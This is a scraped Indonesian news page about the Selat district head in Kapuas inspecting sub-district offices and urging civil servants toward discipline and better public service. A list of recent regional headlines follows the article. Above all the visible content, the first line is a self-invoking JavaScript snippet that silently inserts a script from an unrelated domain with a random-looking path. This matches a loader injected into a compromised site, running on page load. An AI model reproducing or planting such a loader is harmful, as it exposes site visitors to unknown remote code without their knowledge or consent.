(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Cek Kinerja ASN, Camat Selat Pantau Layanan Kelurahan


KANALKALIMANTAN. COM, KUALA KAPUAS – Meningkatkan kinerja Aparatur Sipil Negara (ASN), seluruh kantor kelurahan lingkup Kecamatan Selat, Kabupaten Kapuas, Kalimantan Tengah, didatangi Camat Selat, Yaya Setiabudi SSos, Kamis (4/8/2022).

Camat Selat, Yaya Setiabudi mengatakan, sebagai ASN harus bekerja sesuai dengan regulasi yang telah ditetapkan dan jangan sampai keluar dari rel yang telah ada.

“ASN harus bisa memberikan kontribusi pengabdian pada masyarakat bangsa dan negara, bisa dipertanggungjawabkan pada negara,” tegas Yaya.

Kinerja ASN harus lebih baik, pelayanan pada masyarakat harus meningkat, kemudahan pelayanan yang bersih harus dikedepankan. Selaku ASN harus memiliki SOP yang terukur jelas dalam pelayanan, dengan nilai budaya kerja jadi acuan dalam melaksanakan tugas.

 

Baca juga  : Tiga Nakes RSD Idaman Kota Banjarbaru Raih Penghargaan Tingkat Provinsi

“Diantaranya integritas, apa yang dilakukan sesuai ucapan, ini akan menunjukkan suatu komitmen, kemauan dan kemampuan harus selaraskan dalam sikap dan tindakan, ASN harus mengutamakan kepentingan dinas dari pada kepentingan pribadi. Disiplin, kesanggupan untuk mentaati aturan regulasi yang ada, kerjasama dan keteladanan ASN dalam memotivasi sebagai upaya menggerakkan orang lain untuk bersinergi,” jelas Camat Yaya Setiabudi.

Selanjutnya, seorang ASN harus bekerja sesuai dengan tupoksinya dan tetap mengacu kepada Undang-Undang dan peraturan yang menyangkut kepegawaian dan disiplin pegawai negeri sipil.

Terus tingkatkan kompetensi dan profesionalisme guna mendukung tugas pokok dan fungsinya, mampu memahami dan mengimplementasikan Peraturan Pemerintah Nomor 53 tahun 2010 tentang disiplin PNS.

“Sebagai Lurah kepada stafnya harus menegur, sehingga terhindar dari pelanggaran disiplin, dan sekecil apapun permasalahan yang menyangkut pelanggaran disiplin seorang ASN, segera ditindak dan di selesaikan sesuai dengan aturan yang ada,” pungkasnya.(Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Desy Arfianty

Recent Posts

Wabup Kapuas Kunjungi Kecamatan Kapuas Hulu dan Mandau Talawang

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo bersama jajaran menempuh jalur sungai dan darat… Read More

13 jam ago

Unjuk Rasa di HSU, GOSTI: Berikan Jabatan ke Orang yang Bertanggung Jawab

‎KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mendapatkan dukungan menjalankan pemerintahan bersih… Read More

14 jam ago

Pesan Edukatif Street Art Dakwah South Borneo Lewat Mural dan Grafiti

KANALKALIMANTAN.COM, BANJARMASIN - Street Art Dakwah South Borneo memanfaatkan seni mural dan grafiti sebagai alat… Read More

15 jam ago

Unjuk Rasa di Halaman DPRD HSU

KANALKALIMANTAN.COM, AMUNTAI – Massa yang tergabung dalam Lembaga Swadaya Masyarakat (LSM) Gerakan Organisasi Sosial Terintegritas… Read More

15 jam ago

Wabup Balangan Serahkan Beasiswa Program KBP ke 1.511 Pelajar

KANALKALIMANTAN.COM, PARINGIN - Wakil Bupati (Wabup) Balangan, Akhmad Fauzi, menyerahkan beasiswa program Kartu Balangan Pintar… Read More

15 jam ago

DKISP Banjar Gelar Penandatanganan Pakta Integritas

KANALKALIMANTAN.COM, MARTAPURA – Kepala Dinas Komunikasi, Informatika, Statistik, dan Persandian (DKISP) Kabupaten Banjar HM Aidil… Read More

16 jam ago

This website uses cookies.